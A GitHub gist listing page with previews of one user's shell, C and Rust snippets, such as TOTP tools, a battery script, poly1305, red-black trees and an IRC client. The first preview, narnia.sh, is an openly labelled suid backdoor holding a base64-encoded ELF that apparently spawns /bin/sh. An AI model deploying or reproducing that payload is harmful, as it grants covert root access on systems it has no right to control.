Skip to content

Instantly share code, notes, and snippets.

@resilar
resilar / narnia.sh
Created Jan 20, 2022
x86-64 suid backdoor for nefarious purposes
View narnia.sh
#!/bin/sh
TARGET="${1:-./narnia}"
narnia() {
base64 -d <<EOF
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAApgAAAAAAAACmAAAAAAAAAAAQ
AAAAAAAAMf9XampqaVgPBVhfDwVIuC9iaW4vc2gASInmUEiJ50itSIk+SI1UxghqO1gPBQ==
EOF
}
if ! narnia | cmp -s "$TARGET"
@resilar
resilar / OpenVPN-TOTP.sh
Created Dec 14, 2021
OpenVPN "Enter your one time password" TOTP autofill
View OpenVPN-TOTP.sh
#!/bin/sh
set -e
OVPN_CONF=/etc/openvpn/client/vpn.conf
OVPN_AUTH=/etc/openvpn/client/vpn.auth
OVPN_TOTP=/etc/openvpn/client/vpn.totp
[ "$(id -u)" -ne 0 ] && exec sudo "$0" "$@"
for FILE in "$OVPN_CONF" "$OVPN_AUTH" "$OVPN_TOTP"; do
[ -r "$FILE" ] && continue
printf "%s missing or unreadable\n" "$FILE" >&2
exit 1
@resilar
resilar / battery.sh
Created Sep 26, 2021
Linux shell script implementation of `acpi -b`
View battery.sh
#!/bin/sh
# Show battery information similar to `acpi -b`
if [ -n "${*:-$BAT}" ]; then for BAT in "${@:-$BAT}"; do echo "$BAT"; done
else find /sys/class/power_supply/ -maxdepth 1 -name 'BAT*' | LC_ALL=C sort
fi | while IFS= read -r BAT; do
[ -r "$BAT" ] && [ -r "$BAT/uevent" ] && printf '%s\n' "$BAT" && continue
printf '%s unreadable\n' "$BAT" >&2
done | while IFS= read -r BAT; do
sed 's/^POWER_SUPPLY_\([^=]*\)=\(.*\)$/\1="\2"/' "$BAT/uevent" >/tmp/$$.bat
@resilar
resilar / totp.sh
Created Sep 21, 2021
POSIX shell implementation of TOTP using OpenSSL
View totp.sh
#!/bin/sh
TOTP() {
TOTP_SECRET="${1:-GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ}"
TOTP_DIGITS="${2:-6}"
TOTP_STEP="${3:-30}"
TOTP_TIME="${4:-"$(date '+%s')"}"
TOTP_COUNTER="$((TOTP_TIME / TOTP_STEP))"
printf '%016x' "${5:-$TOTP_COUNTER}" | xxd -r -p \
| openssl dgst -sha1 -hmac "$(printf '%s' "$TOTP_SECRET" | base32 -d)" \
@resilar
resilar / poly1305.c
Created Aug 29, 2021
poly1305 implementation in C
View poly1305.c
#include <stddef.h>
#include <stdint.h>
#define LOAD32_LE(p) \
( ((uint32_t)((p)[0]) << 0) \
| ((uint32_t)((p)[1]) << 8) \
| ((uint32_t)((p)[2]) << 16) \
| ((uint32_t)((p)[3]) << 24) \
)
@resilar
resilar / 0UNIXv5.c
Last active Dec 17, 2020
UNIX V5, OpenBSD, Plan 9, FreeBSD, and GNU coreutils implementations of echo.c (now with syntax highlighting)
View 0UNIXv5.c
main(argc, argv)
int argc;
char *argv[];
{
int i;
argc--;
for(i=1; i<=argc; i++)
printf("%s%c", argv[i], i==argc? '\n': ' ');
}
@resilar
resilar / .zshrc
Last active Aug 22, 2021
Dynamic window title with zsh shell
View .zshrc
# Dynamic window title with zsh shell.
# Shows current directory and running (multi-line) command.
case "$TERM" in (rxvt|rxvt-*|st|st-*|*xterm*|(dt|k|E)term)
local term_title () { print -n "\e]0;${(j: :q)@}\a" }
precmd () {
local DIR="$(print -P '[%c]%#')"
term_title "$DIR" "zsh"
}
preexec () {
local DIR="$(print -P '[%c]%#')"
@resilar
resilar / rb_tree.c
Created Jan 10, 2019
Intrusive red-black trees in C
View rb_tree.c
#include "rb_tree.h"
#define PARENT_BIT 1
#define COLOR_BIT 2
#define PARENT_MASK (PARENT_BIT | COLOR_BIT)
#define rb_is_red(n) ((n) != (void *)0 && ((n)->parent & COLOR_BIT))
#define rb_is_black(n) ((n) == (void *)0 || !((n)->parent & COLOR_BIT))
#define rb_set_red(n) ((n)->parent |= COLOR_BIT)
#define rb_set_black(n) ((n)->parent &= ~COLOR_BIT)
@resilar
resilar / makeuniq.rs
Created Mar 10, 2018
Remove duplicate lines without sorting
View makeuniq.rs
// rustc -O makeuniq.rs
// cat .bash_history | ./makeuniq > .bash_history_uniq
use std::io::{self, Write};
use std::io::prelude::BufRead;
use std::collections::HashSet;
fn main() {
let mut uniqs = HashSet::new();
@resilar
resilar / irc.rs
Last active Sep 23, 2017
babby's first irc client in rust
View irc.rs
use irc::command::{IrcCommand};
use futures::stream::{self, Stream};
use futures::sync::mpsc::{self, UnboundedReceiver, UnboundedSender};
use futures::{future, Future};
use tokio_core::net::TcpStream;
use tokio_core::reactor::Handle;
use tokio_io::{io, AsyncRead};